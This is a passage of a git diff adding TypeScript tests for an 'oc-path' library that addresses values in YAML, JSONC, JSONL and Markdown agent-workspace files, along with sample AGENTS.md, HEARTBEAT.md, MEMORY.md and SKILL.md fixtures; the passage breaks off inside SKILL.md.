values containing special chars', () => { + const ast = { + kind: "md" as const, + raw: '', + frontmatter: [{ key: 'title', value: 'a: b', line: 2 }], + preamble: '', + blocks: [], + }; + const output = emitMd(ast, { mode: 'render' }); + expect(output).toContain('title: "a: b"'); + }); + + it('throws if a kv item value matches the sentinel', () => { + const ast = { + kind: "md" as const, + raw: '', + frontmatter: [], + preamble: '', + blocks: [ + { + heading: 'Secrets', + slug: 'secrets', + line: 1, + bodyText: '- token: __OPENCLAW_REDACTED__', + items: [ + { + text: 'token: __OPENCLAW_REDACTED__', + slug: 'token', + line: 2, + kv: { key: 'token', value: '__OPENCLAW_REDACTED__' }, + }, + ], + tables: [], + codeBlocks: [], + }, + ], + }; + expect(() => emitMd(ast, { mode: 'render', fileNameForGuard: 'AGENTS.md' })).toThrow( + OcEmitSentinelError, + ); + }); +}); diff --git a/src/oc-path/tests/find.test.ts b/src/oc-path/tests/find.test.ts new file mode 100644 index 00000000000..34ba3345ca8 --- /dev/null +++ b/src/oc-path/tests/find.test.ts @@ -0,0 +1,707 @@ +/** + * `findOcPaths` — multi-match search verb test surface. + * + * Tests cover: `*` single-segment expansion across all 4 kinds; `**` + * recursive descent for jsonc + yaml; the wildcard guard on + * `resolveOcPath` / `setOcPath`; the slot-shape preservation invariant + * (a `*` in the `item` slot produces concrete paths whose `item` field + * carries the matched value). + */ +import { describe, expect, it } from 'vitest'; +import { findOcPaths } from '../find.js'; +import { parseJsonc } from '../jsonc/parse.js'; +import { parseJsonl } from '../jsonl/parse.js'; +import { parseMd } from '../parse.js'; +import { parseYaml } from '../yaml/parse.js'; +import { + formatOcPath, + hasWildcard, + OcPathError, + parseOcPath, +} from '../oc-path.js'; +import { + resolveOcPath, + setOcPath, +} from '../universal.js'; + +// ---------- hasWildcard ---------------------------------------------------- + +describe('hasWildcard', () => { + it('detects single-segment * in any slot', () => { + expect(hasWildcard(parseOcPath('oc://X/*/y'))).toBe(true); + expect(hasWildcard(parseOcPath('oc://X/a/*'))).toBe(true); + expect(hasWildcard(parseOcPath('oc://X/a/b/*'))).toBe(true); + }); + + it('detects ** in any slot', () => { + expect(hasWildcard(parseOcPath('oc://X/**'))).toBe(true); + expect(hasWildcard(parseOcPath('oc://X/a/**/c'))).toBe(true); + }); + + it('detects wildcards inside dotted sub-segments', () => { + expect(hasWildcard(parseOcPath('oc://X/a.*.c'))).toBe(true); + expect(hasWildcard(parseOcPath('oc://X/a.**.c'))).toBe(true); + }); + + it('returns false for plain paths', () => { + expect(hasWildcard(parseOcPath('oc://X/a/b/c'))).toBe(false); + expect(hasWildcard(parseOcPath('oc://X/a.b.c'))).toBe(false); + }); + + it('treats `*` inside an identifier as literal', () => { + expect(hasWildcard(parseOcPath('oc://X/foo*bar'))).toBe(false); + expect(hasWildcard(parseOcPath('oc://X/a*'))).toBe(false); + }); +}); + +// ---------- Wildcard guard on resolveOcPath / setOcPath ------------------- + +describe('wildcard guard', () => { + const yaml = parseYaml('steps:\n - id: a\n command: foo\n').ast; + + it('resolveOcPath throws OcPathError for wildcard pattern (F16)', () => { + // Previously returned `null` — indistinguishable from "path doesn't + // resolve". Now throws with `OC_PATH_WILDCARD_IN_RESOLVE` so the + // CLI / consumers can surface "use findOcPaths" rather than "not + // found". setOcPath uses a discriminated `wildcard-not-allowed` + // reason; this is the resolve-side analogue. + expect(() => + resolveOcPath(yaml, parseOcPath('oc://wf/steps/*/command')), + ).toThrow(/findOcPaths/); + try { + resolveOcPath(yaml, parseOcPath('oc://wf/**')); + expect.fail('should have thrown'); + } catch (err) { + expect(err).toBeInstanceOf(OcPathError); + expect((err as OcPathError).code).toBe('OC_PATH_WILDCARD_IN_RESOLVE'); + } + }); + + it('setOcPath returns wildcard-not-allowed for wildcard pattern', () => { + const r = setOcPath(yaml, parseOcPath('oc://wf/steps/*/command'), 'bar'); + expect(r.ok).toBe(false); + if (!r.ok) {expect(r.reason).toBe('wildcard-not-allowed');} + }); + + it('setOcPath wildcard guard reason carries actionable detail', () => { + const r = setOcPath(yaml, parseOcPath('oc://wf/**'), 'bar'); + expect(r.ok).toBe(false); + if (!r.ok) {expect(r.detail).toContain('findOcPaths');} + }); +}); + +// ---------- findOcPaths — fast-path (no wildcards) ------------------------- + +describe('findOcPaths — non-wildcard fast-path', () => { + it('wraps resolveOcPath result for plain path', () => { + const ast = parseYaml('name: x\n').ast; + const out = findOcPaths(ast, parseOcPath('oc://wf/name')); + expect(out).toHaveLength(1); + expect(out[0].match.kind).toBe('leaf'); + expect(formatOcPath(out[0].path)).toBe('oc://wf/name'); + }); + + it('returns empty for unresolved plain path', () => { + const ast = parseYaml('name: x\n').ast; + expect(findOcPaths(ast, parseOcPath('oc://wf/missing'))).toHaveLength(0); + }); +}); + +// ---------- findOcPaths — YAML -------------------------------------------- + +describe('findOcPaths — YAML kind', () => { + const yaml = parseYaml( + 'steps:\n' + + ' - id: build\n' + + ' command: npm run build\n' + + ' - id: test\n' + + ' command: npm test\n' + + ' - id: lint\n' + + ' command: npm run lint\n' + ).ast; + + it('* in item slot enumerates each step', () => { + const out = findOcPaths(yaml, parseOcPath('oc://wf.lobster/steps/*/command')); + expect(out).toHaveLength(3); + const paths = out.map((m) => formatOcPath(m.path)); + expect(paths).toEqual([ + 'oc://wf.lobster/steps/0/command', + 'oc://wf.lobster/steps/1/command', + 'oc://wf.lobster/steps/2/command', + ]); + }); + + it('preserves slot shape — concrete path has matched value in item slot', () => { + const out = findOcPaths(yaml, parseOcPath('oc://wf/steps/*/id')); + expect(out).toHaveLength(3); + for (const m of out) { + expect(m.path.section).toBe('steps'); + expect(m.path.field).toBe('id'); + expect(m.path.item).toMatch(/^[0-2]$/); + } + }); + + it('returns leaf valueText for each match', () => { + const out = findOcPaths(yaml, parseOcPath('oc://wf/steps/*/id')); + const leaves = out.map((m) => m.match.kind === 'leaf' ? m.match.valueText : null); + expect(leaves).toEqual(['build', 'test', 'lint']); + }); + + it('** descends recursively', () => { + const yaml2 = parseYaml( + 'a:\n b:\n c: deep\n d: shallow\n' + ).ast; + const out = findOcPaths(yaml2, parseOcPath('oc://wf/**')); + // ** matches root + a + a.b + a.b.c + a.d + const leaves = out.filter((m) => m.match.kind === 'leaf').map((m) => m.match.kind === 'leaf' ? m.match.valueText : ''); + expect(leaves.toSorted()).toEqual(['deep', 'shallow']); + }); + + it('returns empty for path that does not match', () => { + const out = findOcPaths(yaml, parseOcPath('oc://wf/missing/*/x')); + expect(out).toHaveLength(0); + }); + + it('every returned path is consumable by resolveOcPath', () => { + const out = findOcPaths(yaml, parseOcPath('oc://wf/steps/*/command')); + for (const m of out) { + const r = resolveOcPath(yaml, m.path); + expect(r).not.toBeNull(); + expect(r?.kind).toBe('leaf'); + } + }); +}); + +// ---------- findOcPaths — JSONC -------------------------------------------- + +describe('findOcPaths — JSONC kind', () => { + const jsonc = parseJsonc( + '{\n' + + ' "plugins": {\n' + + ' "github": {"enabled": true},\n' + + ' "gitlab": {"enabled": false},\n' + + ' "slack": {"enabled": true}\n' + + ' }\n' + + '}\n' + ).ast; + + it('* in item slot enumerates each plugin', () => { + const out = findOcPaths(jsonc, parseOcPath('oc://config/plugins/*/enabled')); + expect(out).toHaveLength(3); + const keys = out.map((m) => m.path.item); + expect(keys.toSorted((a, b) => (a ?? '').localeCompare(b ?? ''))).toEqual(['github', 'gitlab', 'slack']); + }); + + it('returns boolean leaves with leafType', () => { + const out = findOcPaths(jsonc, parseOcPath('oc://config/plugins/*/enabled')); + for (const m of out) { + expect(m.match.kind).toBe('leaf'); + if (m.match.kind === 'leaf') { + expect(m.match.leafType).toBe('boolean'); + } + } + }); +}); + +// ---------- findOcPaths — JSONL -------------------------------------------- + +describe('findOcPaths — JSONL kind', () => { + const jsonl = parseJsonl( + '{"event":"start","userId":"u1"}\n' + + '{"event":"action","userId":"u1"}\n' + + '{"event":"end","userId":"u1"}\n' + ).ast; + + it('* in section slot enumerates each value line', () => { + const out = findOcPaths(jsonl, parseOcPath('oc://session/*/event')); + expect(out).toHaveLength(3); + const events = out.map((m) => m.match.kind === 'leaf' ? m.match.valueText : ''); + expect(events).toEqual(['start', 'action', 'end']); + }); + + it('preserves Lnnn line addresses in concrete paths', () => { + const out = findOcPaths(jsonl, parseOcPath('oc://session/*/event')); + for (const m of out) { + expect(m.path.section).toMatch(/^L\d+$/); + } + }); + + // F8 — line-slot union and predicate. Without these, yaml/jsonc + // walkers handled them but JSONL fell through to `pickLine(addr)` + // which returns null for union/predicate shapes → silent zero matches. + it('union {L1,L2} at line slot enumerates each alternative', () => { + const out = findOcPaths(jsonl, parseOcPath('oc://session/{L1,L3}/event')); + expect(out).toHaveLength(2); + const events = out.map((m) => (m.match.kind === 'leaf' ? m.match.valueText : '')); + expect(events).toEqual(['start', 'end']); + }); + + it('union of positional + literal line addresses works', () => { + const out = findOcPaths(jsonl, parseOcPath('oc://session/{L1,$last}/event')); + expect(out).toHaveLength(2); + const events = out.map((m) => (m.match.kind === 'leaf' ? m.match.valueText : '')); + expect(events).toEqual(['start', 'end']); + }); + + it('predicate [event=action] at line slot filters by top-level field', () => { + const out = findOcPaths(jsonl, parseOcPath('oc://session/[event=action]/userId')); + expect(out).toHaveLength(1); + if (out[0]?.match.kind === 'leaf') {expect(out[0].match.valueText).toBe('u1');} + }); + + it('predicate [event=missing] at line slot matches zero lines (silent zero is correct)', () => { + const out = findOcPaths(jsonl, parseOcPath('oc://session/[event=missing]/userId')); + expect(out).toHaveLength(0); + }); +}); + +// ---------- Positional primitives ($first / $last / -N) ------------------- + +describe('positional primitives — yaml', () => { + const yaml = parseYaml( + 'steps:\n - id: a\n - id: b\n - id: c\n' + ).ast; + + it('resolveOcPath accepts $first', () => { + const m = resolveOcPath(yaml, parseOcPath('oc://wf/steps/$first/id')); + expect(m?.kind).toBe('leaf'); + if (m?.kind === 'leaf') {expect(m.valueText).toBe('a');} + }); + + it('resolveOcPath accepts $last', () => { + const m = resolveOcPath(yaml, parseOcPath('oc://wf/steps/$last/id')); + expect(m?.kind).toBe('leaf'); + if (m?.kind === 'leaf') {expect(m.valueText).toBe('c');} + }); + + it('resolveOcPath accepts negative index', () => { + const m = resolveOcPath(yaml, parseOcPath('oc://wf/steps/-2/id')); + expect(m?.kind).toBe('leaf'); + if (m?.kind === 'leaf') {expect(m.valueText).toBe('b');} + }); + + it('out-of-range positional returns null', () => { + expect(resolveOcPath(yaml, parseOcPath('oc://wf/steps/-99/id'))).toBeNull(); + }); + + it('positional on empty container returns null', () => { + const empty = parseYaml('steps: []\n').ast; + expect(resolveOcPath(empty, parseOcPath('oc://wf/steps/$first/id'))).toBeNull(); + }); + + it('findOcPaths emits concrete index for positional', () => { + const out = findOcPaths(yaml, parseOcPath('oc://wf/steps/$last/id')); + expect(out).toHaveLength(1); + expect(out[0].path.item).toBe('2'); + }); + + it('hasWildcard returns false for positional patterns', () => { + // Positional ≠ wildcard — they resolve deterministically. + expect(hasWildcard(parseOcPath('oc://X/$last/id'))).toBe(false); + expect(hasWildcard(parseOcPath('oc://X/-1/id'))).toBe(false); + }); +}); + +describe('positional primitives — jsonc', () => { + const jsonc = parseJsonc('{"items":[10,20,30]}').ast; + + it('$first picks first array element', () => { + const m = resolveOcPath(jsonc, parseOcPath('oc://config/items/$first')); + expect(m?.kind).toBe('leaf'); + if (m?.kind === 'leaf') {expect(m.valueText).toBe('10');} + }); + + it('$last picks last array element', () => { + const m = resolveOcPath(jsonc, parseOcPath('oc://config/items/$last')); + expect(m?.kind).toBe('leaf'); + if (m?.kind === 'leaf') {expect(m.valueText).toBe('30');} + }); + + it('$first on object picks first-declared key', () => { + const obj = parseJsonc('{"a":1,"b":2,"c":3}').ast; + const m = resolveOcPath(obj, parseOcPath('oc://config/$first')); + expect(m?.kind).toBe('leaf'); + if (m?.kind === 'leaf') {expect(m.valueText).toBe('1');} + }); +}); + +describe('positional primitives — jsonl', () => { + const jsonl = parseJsonl( + '{"event":"start"}\n{"event":"step"}\n{"event":"end"}\n' + ).ast; + + it('$first picks first value line', () => { + const m = resolveOcPath(jsonl, parseOcPath('oc://session/$first/event')); + if (m?.kind === 'leaf') {expect(m.valueText).toBe('start');} + }); + + it('$last picks last value line (existing behavior)', () => { + const m = resolveOcPath(jsonl, parseOcPath('oc://session/$last/event')); + if (m?.kind === 'leaf') {expect(m.valueText).toBe('end');} + }); + + it('-1 is alias for $last', () => { + const m = resolveOcPath(jsonl, parseOcPath('oc://session/-1/event')); + if (m?.kind === 'leaf') {expect(m.valueText).toBe('end');} + }); +}); + +// ---------- Segment unions {a,b,c} ----------------------------------------- + +describe('union segments — yaml', () => { + const yaml = parseYaml( + 'steps:\n' + + ' - id: a\n command: x\n' + + ' - id: b\n run: y\n' + + ' - id: c\n pipeline: z\n' + ).ast; + + it('{command,run} matches each step that has either field', () => { + const out = findOcPaths(yaml, parseOcPath('oc://wf/steps/*/{command,run}')); + expect(out).toHaveLength(2); + const fields = out.map((m) => m.path.field); + expect(fields.toSorted((a, b) => (a ?? '').localeCompare(b ?? ''))).toEqual(['command', 'run']); + }); + + it('preserves the chosen alternative in concrete paths', () => { + const out = findOcPaths(yaml, parseOcPath('oc://wf/steps/*/{command,pipeline}')); + expect(out).toHaveLength(2); + for (const m of out) { + expect(['command', 'pipeline']).toContain(m.path.field); + } + }); + + it('unions on top-level keys', () => { + const yaml2 = parseYaml('a: 1\nb: 2\nc: 3\n').ast; + const out = findOcPaths(yaml2, parseOcPath('oc://X/{a,c}')); + expect(out).toHaveLength(2); + const values = out.map((m) => m.match.kind === 'leaf' ? m.match.valueText : ''); + expect(values.toSorted()).toEqual(['1', '3']); + }); + + it('hasWildcard detects unions (single-match guard rejects them)', () => { + expect(hasWildcard(parseOcPath('oc://X/{a,b}'))).toBe(true); + // F16 — wildcard guard now throws OC_PATH_WILDCARD_IN_RESOLVE + // instead of returning silent null. + expect(() => + resolveOcPath(parseYaml('a: 1\nb: 2\n').ast, parseOcPath('oc://X/{a,b}')), + ).toThrow(/findOcPaths/); + }); +}); + +// ---------- Value predicates [key=value] ---------------------------------- + +describe('value predicates — yaml', () => { + const yaml = parseYaml( + 'steps:\n' + + ' - id: build\n command: npm run build\n' + + ' - id: test\n command: npm test\n' + + ' - id: lint\n command: npm run lint\n' + ).ast; + + it('[id=test] selects the matching step', () => { + const out = findOcPaths(yaml, parseOcPath('oc://wf/steps/[id=test]/command')); + expect(out).toHaveLength(1); + if (out[0].match.kind === 'leaf') { + expect(out[0].match.valueText).toBe('npm test'); + } + expect(out[0].path.item).toBe('1'); // concrete index of the matched step + }); + + it('predicate yields no matches when key/value missing', () => { + expect(findOcPaths(yaml, parseOcPath('oc://wf/steps/[id=nonexistent]/command'))).toHaveLength(0); + }); + + it('predicate concretizes the index — path round-trips through resolveOcPath', () => { + const out = findOcPaths(yaml, parseOcPath('oc://wf/steps/[id=build]/command')); + expect(out).toHaveLength(1); + const resolved = resolveOcPath(yaml, out[0].path); + expect(resolved?.kind).toBe('leaf'); + }); + + it('predicate rejects single-match verbs (treated as wildcard)', () => { + // F16 — wildcard guard throws on predicate too (predicate is a + // multi-match shape; resolveOcPath is single-match only). + expect(() => + resolveOcPath(yaml, parseOcPath('oc://wf/steps/[id=build]')), + ).toThrow(/findOcPaths/); + }); +}); + +describe('quoted segments (v1.0)', () => { + // Evidence: openclaw#69004 — model alias `anthropic/claude-opus-4-7`. + // Slash inside the key has no other syntax that doesn't conflict with + // path-level slash split. + const jsonc = parseJsonc( + '{"agents":{"defaults":{"models":{' + + '"anthropic/claude-opus-4-7":{"alias":"opus47","contextWindow":1000000},' + + '"github-copilot/claude-opus-4.7-1m-internal":{"alias":"copilot-opus-1m","contextWindow":1000000},' + + '"plain":{"alias":"p","contextWindow":200000}' + + '}}}}' + ).ast; + + it('resolveOcPath — quoted segment with literal slash', () => { + const m = resolveOcPath( + jsonc, + parseOcPath('oc://config/agents.defaults.models/"anthropic/claude-opus-4-7"/alias'), + ); + expect(m?.kind).toBe('leaf'); + if (m?.kind === 'leaf') {expect(m.valueText).toBe('opus47');} + }); + + it('resolveOcPath — quoted segment with literal slash AND dot', () => { + const m = resolveOcPath( + jsonc, + parseOcPath('oc://config/agents.defaults.models/"github-copilot/claude-opus-4.7-1m-internal"/alias'), + ); + expect(m?.kind).toBe('leaf'); + if (m?.kind === 'leaf') {expect(m.valueText).toBe('copilot-opus-1m');} + }); + + it('quoted segment with whitespace', () => { + const ast = parseJsonc('{"prompts":{"hello world":"value"}}').ast; + const m = resolveOcPath(ast, parseOcPath('oc://X/prompts/"hello world"')); + expect(m?.kind).toBe('leaf'); + if (m?.kind === 'leaf') {expect(m.valueText).toBe('value');} + }); + + it('quoted segment with embedded escape sequences', () => { + // Key literally contains a backslash and a quote. + const ast = parseJsonc('{"keys":{"a\\\\b":"v1","c\\"d":"v2"}}').ast; + const m1 = resolveOcPath(ast, parseOcPath('oc://X/keys/"a\\\\b"')); + expect(m1?.kind).toBe('leaf'); + if (m1?.kind === 'leaf') {expect(m1.valueText).toBe('v1');} + }); + + it('findOcPaths — wildcard returns paths with quoted keys when needed', () => { + const out = findOcPaths(jsonc, parseOcPath('oc://config/agents.defaults.models/*/alias')); + expect(out).toHaveLength(3); + // The two slash-bearing keys round-trip via quotes; `plain` stays bare. + const items = out.map((m) => m.path.item); + expect(items.some((s) => s === 'plain')).toBe(true); + expect(items.some((s) => s === '"anthropic/claude-opus-4-7"')).toBe(true); + expect(items.some((s) => s === '"github-copilot/claude-opus-4.7-1m-internal"')).toBe(true); + }); + + it('findOcPaths — emitted paths round-trip through resolveOcPath', () => { + const out = findOcPaths(jsonc, parseOcPath('oc://config/agents.defaults.models/*/alias')); + for (const m of out) { + const r = resolveOcPath(jsonc, m.path); + expect(r?.kind).toBe('leaf'); + } + }); + + it('rejects unbalanced quotes at parse time', () => { + expect(() => parseOcPath('oc://X/"unterminated')).toThrow(/Unbalanced/); + }); + + it('control characters still rejected inside quotes', () => { + expect(() => parseOcPath('oc://X/"\x00"')).toThrow(/Control character/); + }); +}); + +describe('value predicates — numeric operators (v1.1)', () => { + // Evidence: openclaw#54383 — compaction fails when maxTokens > model output cap. + // Doctor lint rule: flag any model with maxTokens > 128000 (Anthropic per-request output cap). + const jsonc = parseJsonc( + '{"models":{"providers":{"anthropic":{"models":[' + + '{"id":"claude-sonnet-4-6","contextWindow":1000000,"maxTokens":128000},' + + '{"id":"claude-opus-4-7","contextWindow":1000000,"maxTokens":240000},' + + '{"id":"claude-sonnet-4-7","contextWindow":200000,"maxTokens":64000}' + + ']}}}}' + ).ast; + + // Slot layout: section=`models.providers.anthropic.models`, item=predicate, field=`id`. + const PREFIX = 'oc://config/models.providers.anthropic.models'; + + it('> finds models exceeding the per-request output cap', () => { + const out = findOcPaths(jsonc, parseOcPath(`${PREFIX}/[maxTokens>128000]/id`)); + expect(out).toHaveLength(1); + if (out[0].match.kind === 'leaf') {expect(out[0].match.valueText).toBe('claude-opus-4-7');} + }); + + it('>= matches the boundary', () => { + const out = findOcPaths(jsonc, parseOcPath(`${PREFIX}/[maxTokens>=128000]/id`)); + const ids = out.map((m) => m.match.kind === 'leaf' ? m.match.valueText : ''); + expect(ids.toSorted()).toEqual(['claude-opus-4-7', 'claude-sonnet-4-6']); + }); + + it('< filters small context windows', () => { + const out = findOcPaths(jsonc, parseOcPath(`${PREFIX}/[contextWindow<500000]/id`)); + expect(out).toHaveLength(1); + if (out[0].match.kind === 'leaf') {expect(out[0].match.valueText).toBe('claude-sonnet-4-7');} + }); + + it('<= matches the boundary', () => { + const out = findOcPaths(jsonc, parseOcPath(`${PREFIX}/[contextWindow<=200000]/id`)); + const ids = out.map((m) => m.match.kind === 'leaf' ? m.match.valueText : ''); + expect(ids).toEqual(['claude-sonnet-4-7']); + }); + + it('numeric operator rejects non-numeric leaves silently', () => { + // String leaf, numeric op — predicate doesn't match (no false positive). + const out = findOcPaths(jsonc, parseOcPath(`${PREFIX}/[id>5]/id`)); + expect(out).toHaveLength(0); + }); + + it('rejects numeric predicate value that is not a number', () => { + const out = findOcPaths(jsonc, parseOcPath(`${PREFIX}/[maxTokens>foo]/id`)); + expect(out).toHaveLength(0); + }); +}); + +describe('value predicates — jsonc', () => { + const jsonc = parseJsonc( + '{"plugins":{"github":{"enabled":true,"role":"vcs"},"slack":{"enabled":false,"role":"chat"},"jira":{"enabled":true,"role":"tracker"}}}' + ).ast; + + it('[enabled=true] filters by sibling boolean', () => { + const out = findOcPaths(jsonc, parseOcPath('oc://config/plugins/[enabled=true]/role')); + expect(out).toHaveLength(2); + const roles = out.map((m) => m.match.kind === 'leaf' ? m.match.valueText : ''); + expect(roles.toSorted()).toEqual(['tracker', 'vcs']); + }); +}); + +// ---------- Ordinal addressing (#N) for distinct duplicate slugs ---------- + +describe('ordinal addressing — md', () => { + // Two items with the same slug after slugify (`foo: a` and `foo: b`). + const md = parseMd( + '## Tools\n\n- foo: a\n- foo: b\n- bar: c\n' + ).ast; + + it('#0 picks the first item by document order', () => { + const m = resolveOcPath(md, parseOcPath('oc://AGENTS.md/tools/#0/foo')); + expect(m?.kind).toBe('leaf'); + if (m?.kind === 'leaf') {expect(m.valueText).toBe('a');} + }); + + it('#1 picks the second item — distinct from #0 even though slug collides', () => { + const m = resolveOcPath(md, parseOcPath('oc://AGENTS.md/tools/#1/foo')); + expect(m?.kind).toBe('leaf'); + if (m?.kind === 'leaf') {expect(m.valueText).toBe('b');} + }); + + it('out-of-range #N returns null', () => { + expect(resolveOcPath(md, parseOcPath('oc://AGENTS.md/tools/#99/foo'))).toBeNull(); + }); + + it('findOcPaths disambiguates duplicate-slug items via #N', () => { + const out = findOcPaths(md, parseOcPath('oc://AGENTS.md/tools/*/foo')); + // 2 items have key `foo` (and matching slug); 1 has `bar` (no match). + expect(out).toHaveLength(2); + const items = out.map((m) => m.path.item); + expect(items).toEqual(['#0', '#1']); + const values = out.map((m) => m.match.kind === 'leaf' ? m.match.valueText : ''); + expect(values.toSorted()).toEqual(['a', 'b']); + }); + + it('non-duplicate slug keeps slug form (back-compat)', () => { + const md2 = parseMd('## Tools\n\n- foo: a\n- bar: b\n').ast; + const out = findOcPaths(md2, parseOcPath('oc://AGENTS.md/tools/*')); + const items = out.map((m) => m.path.item); + // Both unique → both stay as slugs. + expect(items.toSorted((a, b) => (a ?? '').localeCompare(b ?? ''))).toEqual(['bar', 'foo']); + }); +}); + +// ---------- findOcPaths — Markdown ----------------------------------------- + +describe('findOcPaths — Markdown kind', () => { + const md = parseMd( + '---\nname: drafter\nrole: writer\n---\n\n' + + '## Tools\n\n' + + '- send_email: enabled\n' + + '- search: enabled\n' + + '- read_email: disabled\n' + ).ast; + + it('* in field slot enumerates frontmatter keys', () => { + const out = findOcPaths(md, parseOcPath('oc://SOUL.md/[frontmatter]/*')); + expect(out).toHaveLength(2); + const keys = out.map((m) => m.path.item ?? m.path.field); + expect(keys.toSorted((a, b) => (a ?? '').localeCompare(b ?? ''))).toEqual(['name', 'role']); + }); + + it('* in field slot enumerates each item kv key', () => { + // Item slug is the kv-key slug ('send_email' → 'send-email'). + const out = findOcPaths(md, parseOcPath('oc://SKILL.md/Tools/send-email/*')); + expect(out).toHaveLength(1); + expect(out[0].match.kind).toBe('leaf'); + if (out[0].match.kind === 'leaf') { + expect(out[0].match.valueText).toBe('enabled'); + } + }); + + it('* in item slot + matching field returns each item whose kv key matches', () => { + // The kv key on `- send_email: enabled` is `send_email`. Pattern + // field='send_email' matches that one item; the other two items + // (search, read_email) have different kv keys. + const out = findOcPaths(md, parseOcPath('oc://SKILL.md/Tools/*/send_email')); + expect(out).toHaveLength(1); + expect(out[0].path.item).toBe('send-email'); + }); + + it('** at section slot matches items at every depth (F14 — cross-kind symmetry)', () => { + // Without the retain-i branch on `**`, walkMd only descended one + // level (i + 1, consumed `**`) — yaml/jsonc walkers also retain + // `**` to keep matching deeper. Lint rules expecting universal + // `**` behavior across kinds (sweep all sections for `risk:`) + // would silently get 0 md matches on a multi-block file. + // + // Pattern `**/send-email` — `**` matches the `tools` block, then + // `send-email` (kebab slug) matches the item under it. Without the + // retain-i branch, the walker descends with `**` consumed at the + // section layer and then can't satisfy the item slot since the + // walker is now inside the wrong block looking for an item slug. + const multiBlock = parseMd( + '## Boundaries\n\n' + + '- never: rm -rf\n\n' + + '## Tools\n\n' + + '- send_email: enabled\n' + + '- search: enabled\n', + ).ast; + const out = findOcPaths(multiBlock, parseOcPath('oc://SOUL.md/**/send-email')); + // The `send-email` item is under the `tools` block. Pin that we + // get at least one match (the substrate's md `**` should reach it). + expect(out.length).toBeGreaterThanOrEqual(1); + const items = out.map((m) => m.path.item).filter((v): v is string => v !== undefined); + expect(items).toContain('send-email'); + }); +}); + +describe('findOcPaths — quoted segments survive expansion (regression: resolve↔find symmetry)', () => { + it('finds keys with slashes when the path quotes them and a sibling wildcards', () => { + // Closes ClawSweeper P2 on PR #78678: when a pattern needs + // expansion (e.g. trailing union or wildcard), the JSONC walker + // bypassed `resolveJsoncOcPath` and compared object keys to the + // raw `cur.value` directly. Patterns with quoted literals + // returned no matches even though resolve worked. This test + // exercises a quoted middle segment + a trailing union. + const raw = `{ + "agents": { + "defaults": { + "models": { + "github-copilot/claude-opus-4-7": { + "alias": "opus-internal", + "contextWindow": 200000 + } + } + } + } +} +`; + const { ast } = parseJsonc(raw); + const out = findOcPaths( + ast, + parseOcPath( + 'oc://config.jsonc/agents.defaults.models/"github-copilot/claude-opus-4-7"/{alias,contextWindow}', + ), + ); + // Both alternatives in the union should match. + expect(out.length).toBe(2); + const fields = out.map((m) => m.path.field).toSorted((a, b) => (a ?? '').localeCompare(b ?? '')); + expect(fields).toEqual(['alias', 'contextWindow']); + }); +}); diff --git a/src/oc-path/tests/fixtures/real/AGENTS.md b/src/oc-path/tests/fixtures/real/AGENTS.md new file mode 100644 index 00000000000..a79f0e6d24d --- /dev/null +++ b/src/oc-path/tests/fixtures/real/AGENTS.md @@ -0,0 +1,17 @@ +## Roles + +- planner: breaks down user goals into tasks +- executor: runs the planned tasks one at a time +- reviewer: checks output before user-visible writes + +## Tools + +- gh: GitHub CLI for issues, PRs, CI +- curl: HTTP client +- rg: ripgrep — fast file content search + +## Boundaries + +- never edit /etc, /usr, or system paths +- always confirm before destructive operations +- read SOUL.md before each session for persona context diff --git a/src/oc-path/tests/fixtures/real/BOOTSTRAP.md b/src/oc-path/tests/fixtures/real/BOOTSTRAP.md new file mode 100644 index 00000000000..c6c266c8c71 --- /dev/null +++ b/src/oc-path/tests/fixtures/real/BOOTSTRAP.md @@ -0,0 +1,17 @@ +# Workspace bootstrap + +This is the first thing the agent reads on a fresh workspace. Once +the user finishes setup (filling in SOUL.md, USER.md, etc.), +BOOTSTRAP.md gets removed and the workspace is "live." + +## Setup checklist + +- review SOUL.md and add personal context +- review USER.md and add role/preferences +- run `openclaw doctor` to verify config + workspace are valid +- confirm the gateway can reach your providers + +## Removing this file + +When the checklist is complete, delete BOOTSTRAP.md. The runtime +detects its absence as "setup complete." diff --git a/src/oc-path/tests/fixtures/real/HEARTBEAT.md b/src/oc-path/tests/fixtures/real/HEARTBEAT.md new file mode 100644 index 00000000000..b9bcbd33838 --- /dev/null +++ b/src/oc-path/tests/fixtures/real/HEARTBEAT.md @@ -0,0 +1,16 @@ +## Every 30m wake + +- check unread Slack DMs in #incidents +- summarize new PR review comments since last wake +- if any test fails on main, surface to user immediately + +## Every 4h wake + +- compile a brief status summary of in-flight tasks +- check Linear for new high-priority issues +- update the daily log entry + +## On user-presence wake + +- briefly orient on what changed since last user interaction +- prioritize incoming items by urgency diff --git a/src/oc-path/tests/fixtures/real/IDENTITY.md b/src/oc-path/tests/fixtures/real/IDENTITY.md new file mode 100644 index 00000000000..cddcd60c940 --- /dev/null +++ b/src/oc-path/tests/fixtures/real/IDENTITY.md @@ -0,0 +1,19 @@ +## Organization + +Example Org / Platform Team + +## Team + +OpenClaw infrastructure & tooling + +## Trust Level + +internal-trusted + +## Region + +us-west + +## Compliance scope + +SOC 2 Type II + FedRAMP Moderate (in audit) diff --git a/src/oc-path/tests/fixtures/real/MEMORY.md b/src/oc-path/tests/fixtures/real/MEMORY.md new file mode 100644 index 00000000000..b0924b2d307 --- /dev/null +++ b/src/oc-path/tests/fixtures/real/MEMORY.md @@ -0,0 +1,18 @@ +--- +scope: project +--- + +## User prefers async communication + +The user has mentioned twice (sessions 2026-04-15 and 2026-04-22) that +they prefer Slack DMs over meetings for short questions. + +## Project uses TypeScript with strict mode + +The codebase enforces `strict: true` and `noUncheckedIndexedAccess`. +Avoid `any`; prefer `unknown` with narrowing. + +## Deploy on Tuesdays only + +Production deploys happen Tue 9am-12pm Pacific. Outside that window, +deploys go to staging and wait for the next Tuesday window. diff --git a/src/oc-path/tests/fixtures/real/SKILL.md b/src/oc-path/tests/fixtures/real/SKILL.md new file mode 100644 index 00000000000..8efafb4c05c --- /dev/null +++ b/src/oc-path/tests/fixtures/real/SKILL.md @@ -0,0 +1,38 @@ +--- +name: github +description: Use gh for GitHub issues, PR status, CI/logs, comments, reviews, releases, and API queries. +tier: T1 +tools: + - gh + - bash +trigger_phrases: + - github + - pr + - issue + - workflow +metadata: { "openclaw": { "emoji": "🐙", "requires": { "bins": ["gh"] } } } +user-invocable: true +--- + +# When to use + +Use this skill when the user asks anything about GitHub: issues, pull +requests, CI runs, releases, comments, code review, or organizational +metadata. Prefer the `gh` CLI over web URLs — `gh` handles auth, +pagination, and structured output natively. + +## Common commands + +```bash +gh pr view 123 # view PR details +gh pr checks 123 # CI status +gh issue list --state open # list open issues +gh run list -L 5 # last 5 workflow runs +gh release create v1.2.3 # cut a release +``` + +## When NOT to use + +- The user's repo is on a non-GitHub forge (GitLab, 